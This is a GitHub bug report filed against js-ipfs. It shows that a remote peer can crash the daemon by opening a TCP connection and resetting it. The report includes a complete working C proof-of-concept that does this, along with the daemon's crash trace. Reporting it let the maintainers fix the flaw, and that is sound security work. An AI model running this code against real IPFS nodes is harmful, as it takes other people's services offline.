Skip to content
This repository was archived by the owner on Feb 12, 2024. It is now read-only.
This repository was archived by the owner on Feb 12, 2024. It is now read-only.

Daemon can be crashed by remote user #1447

Closed
libp2p/js-libp2p-tcp
#96
@0xall

Description

@0xall
  • Version: 0.30.0
  • Platform: Darwin (Mac OS) High Sierra 10.13.5
  • Subsystem: libp2p

Type: Bug

Severity:

Description:

The below program coded by C language crashes remote js-ipfs daemon. It just connects with
a daemon (by TCP) and directly closes the connection with RST(reset) flag. It needs IP address and port of remote daemon.

Steps to reproduce the error:

  • Copy and compile below c code. (I think it could be compiled only on linux or darwin os)
  • Run it.
  • Input IP address and port of the remote daemon to crash
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    int sock = 0;
    struct sockaddr_in serv_addr;
    char ipStr[1024];
    int port;

    printf("Input IP Address : ");
    scanf("%s", ipStr);

    printf("Input port : ");
    scanf("%d", &port);

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        printf("\n Socket creation error \n");
        return -1;
    }
  
    memset(&serv_addr, '0', sizeof(serv_addr));
  
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
      
    if(inet_pton(AF_INET, ipStr, &serv_addr.sin_addr)<=0) 
    {
        printf("\nInvalid address/ Address not supported \n");
        return -1;
    }
  
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    {
        printf("\nConnection Failed \n");
        return -1;
    }

    struct linger sl;
    sl.l_onoff = 1;
    sl.l_linger = 0;
    setsockopt(sock, SOL_SOCKET, SO_LINGER, &sl, sizeof(sl));

    printf("sent\n");
    shutdown(sock, 1);
    return 0;
}

I run the program with

Input IP Address : 127.0.0.1
Input port : 4002
sent

and crashed by error like below

/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/convert.js:72
  if (!ipaddr.isValid()) throw new Error('invalid ip address')
                         ^

Error: invalid ip address
    at ip2buf (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/convert.js:72:32)
    at Function.convertToBuffer [as toBuffer] (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/convert.js:49:14)
    at /usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/codec.js:85:35
    at arrayMap (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/lodash.map/index.js:140:21)
    at map (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/lodash.map/index.js:1836:10)
    at stringTuplesToTuples (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/codec.js:79:10)
    at stringToBuffer (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/codec.js:171:13)
    at Object.fromString (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/codec.js:178:10)
    at ClassIsWrapper.withIs.proto.className (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/libp2p-tcp/node_modules/multiaddr/src/index.js:40:25)
    at new Multiaddr (/usr/local/Cellar/node@8/8.11.1/lib/node_modules/ipfs/node_modules/class-is/index.js:40:33)

Metadata

Metadata

Assignees

No one assigned

    Labels

    P1High: Likely tackled by core team if no one steps upexp/wizardExtensive knowledge (implications, ramifications) requiredkind/bugA bug in existing code (including security flaws)

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions